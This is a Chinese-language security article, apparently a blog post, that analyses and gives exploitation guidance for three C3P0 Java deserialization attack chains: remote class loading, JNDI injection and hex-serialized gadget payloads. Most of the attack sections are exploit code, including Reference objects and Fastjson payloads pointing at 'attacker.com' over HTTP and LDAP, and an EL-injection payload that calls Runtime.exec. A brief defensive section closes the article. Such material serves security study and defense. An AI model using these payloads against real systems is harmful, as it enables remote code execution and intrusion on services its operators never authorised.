浅析C3P0攻击链
字数 953 2025-08-11 08:36:11
C3P0攻击链深度分析与利用指南
1. C3P0简介
C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。被广泛应用于Hibernate、Spring等开源项目中。
JDBC连接池的作用:
- 避免频繁创建和销毁数据库连接
- 复用连接句柄,提高性能
- 管理连接生命周期
2. 攻击链类型
C3P0存在三种主要攻击方式:
2.1 URLClassLoader远程类加载
漏洞点分析
位于PoolBackedDataSourceBase类的readObject方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// ...
Object o = ois.readObject();
if (o instanceof IndirectlySerialized)
o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
// ...
}
关键调用链:
PoolBackedDataSourceBase#readObject ->
ReferenceIndirector#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance
利用步骤
- 构造恶意
ConnectionPoolDataSource实现类 - 重写
getReference()方法返回指向恶意类的Reference - 通过反射设置
connectionPoolDataSource字段 - 序列化触发
EXP代码示例
public class C3P0Exploit {
public static class ExploitClass implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
return new Reference("EvilClass", "EvilClass", "http://attacker.com/");
}
// 其他方法实现...
}
public static byte[] generatePayload() throws Exception {
ExploitClass exp = new ExploitClass();
PoolBackedDataSourceBase ds = new PoolBackedDataSourceBase(false);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(ds, exp);
// 序列化ds对象...
}
}
2.2 JNDI注入
漏洞点分析
位于JndiRefForwardingDataSource的dereference()方法:
public Object dereference() throws Exception {
InitialContext ic = new InitialContext();
return ic.lookup(this.getJndiName());
}
关键调用链:
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
EXP示例
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://attacker.com/Exploit\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
2.3 HEX序列化攻击
漏洞点分析
位于WrapperConnectionPoolDataSource构造方法中调用的C3P0ImplUtils.parseUserOverridesAsString:
public static Map parseUserOverridesAsString(String userOverridesAsString)
throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring(
HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return (Map) SerializableUtils.fromByteArray(serBytes);
}
// ...
}
最终会调用ObjectInputStream.readObject()反序列化恶意数据。
利用步骤
- 生成恶意序列化对象的十六进制表示
- 构造格式为
HexAsciiSerializedMap:[HEX_DATA]的字符串 - 通过Fastjson等触发
EXP示例
// 生成CC6链的十六进制payload
String hex = toHexAscii(serialize(CC6Gadget()));
String payload = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + "\"}";
JSON.parse(payload);
3. 不出网利用方式
当目标不出网且无Fastjson依赖时,可利用本地EL表达式注入:
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "",
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
return ref;
}
4. 防御措施
- 升级C3P0到最新安全版本
- 限制反序列化源,使用白名单机制
- 网络层面限制出站连接
- 使用SecurityManager限制敏感操作
- 对JNDI查找进行严格校验
5. 环境搭建
Maven依赖:
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
6. 总结
C3P0攻击链展示了Java反序列化漏洞的多种利用方式,从远程类加载到本地表达式注入,攻击者可利用不同场景选择最合适的攻击方式。理解这些攻击链有助于更好地防御类似漏洞。